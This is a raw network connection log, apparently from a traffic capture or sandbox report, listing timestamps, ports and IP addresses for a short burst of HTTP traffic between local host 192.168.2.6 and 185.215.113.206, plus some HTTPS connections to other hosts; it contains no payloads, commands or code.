Nov 26, 2024 01:41:46.551554918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.551594019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.551639080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.552520037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.552577972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.552623034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.552664995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.553448915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.553499937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.553535938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.553647995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.554080963 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.554323912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.554406881 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.554410934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.554450989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.554563999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.555278063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.555349112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.555380106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.555430889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.556210041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.556266069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.556318045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.556359053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.557141066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.557265043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.557322979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.558080912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.558140039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.558176041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.559022903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.559087038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.559112072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.559158087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.559946060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.559993982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.560051918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.560091019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.560867071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.560961962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.561007023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.561791897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.561913013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.561965942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.562735081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.562839031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.562885046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.563651085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.563755035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.563802004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.564598083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.564712048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.565505981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.565551996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.565589905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.566764116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.585349083 CET	49897	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.587119102 CET	49897	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.587126017 CET	443	49897	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.587660074 CET	443	49897	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.588155031 CET	49897	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.588218927 CET	443	49897	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.614933014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.614972115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.615025043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.615050077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.615394115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.615432978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.615488052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.615525961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.616316080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.616365910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.616432905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.616625071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.617258072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.617361069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.617381096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.617398024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.618194103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.618305922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.618351936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.619107008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.619158983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.619220972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.619256973 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.620084047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.620157957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.620218992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.620255947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.620981932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.621052980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.621110916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.621925116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.622019053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.622045040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.622062922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.622833014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.622922897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.622946978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.622987032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.623754978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.623795033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.623883963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.624104023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.624696016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.624829054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.624845028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.624865055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.625272989 CET	443	49886	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.625617981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.625660896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.625744104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.625792027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.626585960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.626597881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.626626968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.626641035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.627485991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.627599955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.627650976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.628391981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.628427029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.628432989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.628496885 CET	443	49886	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.628535986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.628549099 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.628559113 CET	443	49886	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.628607988 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.629338980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.629395008 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.629462004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.629565954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.630260944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.630382061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.630388975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.630434990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.630712986 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.630733967 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.630774975 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.630800962 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.631141901 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.631200075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.631251097 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.631251097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.631401062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.631599903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.632138968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.632184029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.632222891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.632361889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.642235994 CET	49897	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.643702030 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.643757105 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.643806934 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.643826962 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.644690037 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.644872904 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.645710945 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.645765066 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.645833015 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.646564960 CET	49882	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.646594048 CET	443	49882	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.646931887 CET	49898	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.646961927 CET	443	49898	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.648439884 CET	49898	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.655533075 CET	49898	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.655567884 CET	443	49898	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.658623934 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.658643961 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.659059048 CET	49899	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.659076929 CET	443	49899	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.659173012 CET	49899	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.661542892 CET	49899	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.661556959 CET	443	49899	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.663292885 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.663309097 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.665241957 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.665246964 CET	443	49886	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.666667938 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.666676998 CET	443	49887	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.672930956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.672987938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.673019886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.673058987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.673393011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.673439026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.673468113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.673508883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.674335003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.674386024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.674403906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.675220013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.675265074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.736970901 CET	443	49892	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.737040997 CET	443	49892	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.737384081 CET	49892	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.742613077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.742649078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.742692947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.742723942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.743052959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.743181944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.743999004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.744054079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.744103909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.744421959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.744916916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.745034933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.745091915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.745850086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.745955944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.746073008 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.746781111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.746881008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.746926069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.747713089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.747818947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.747863054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.748621941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.748759985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.749226093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.749567032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.749674082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.749715090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.750533104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.750649929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.750690937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.751446009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.751554966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.751590967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.752351046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.752422094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.752459049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.752501011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.753315926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.753456116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.753494978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.754245043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.754338980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.754379988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.755177021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.755265951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.755319118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.756135941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.756263971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.756314993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.757047892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.757059097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.757114887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.757950068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.758059978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.758105993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.758882046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.758984089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.759026051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.759809971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.759896040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.760421991 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.760739088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.760829926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.760881901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.761672974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.761794090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.762120962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.762598038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.762676954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.762712955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.762823105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.763525963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.763580084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.763627052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.764282942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.764455080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.764581919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.764754057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.765446901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.765564919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.765611887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.766320944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.766428947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.767265081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.767326117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.767359018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.767966986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.768174887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.768220901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.768281937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.768321037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.769126892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.769217968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.769265890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.771847963 CET	49894	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.771872044 CET	443	49894	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.772962093 CET	49894	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.772968054 CET	443	49894	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.773825884 CET	49892	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.773842096 CET	443	49892	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.773915052 CET	49892	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.773921013 CET	443	49892	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.777545929 CET	49893	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.777568102 CET	443	49893	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.779582024 CET	49893	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.779587984 CET	443	49893	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.816123009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.816230059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.816240072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.816291094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.816562891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.816755056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.816859007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.816912889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.817697048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.817804098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.817883968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.818623066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.818738937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.818793058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.819547892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.819650888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.820441961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.820498943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.820604086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.820642948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.821429014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.821543932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.821604967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.822339058 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.822346926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.822375059 CET	443	49883	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.822391987 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.822405100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.822434902 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.822455883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.823266029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.823297024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.823405981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.823513031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.824206114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.824251890 CET	80	49813	185.215.113.206	192.168.2.6
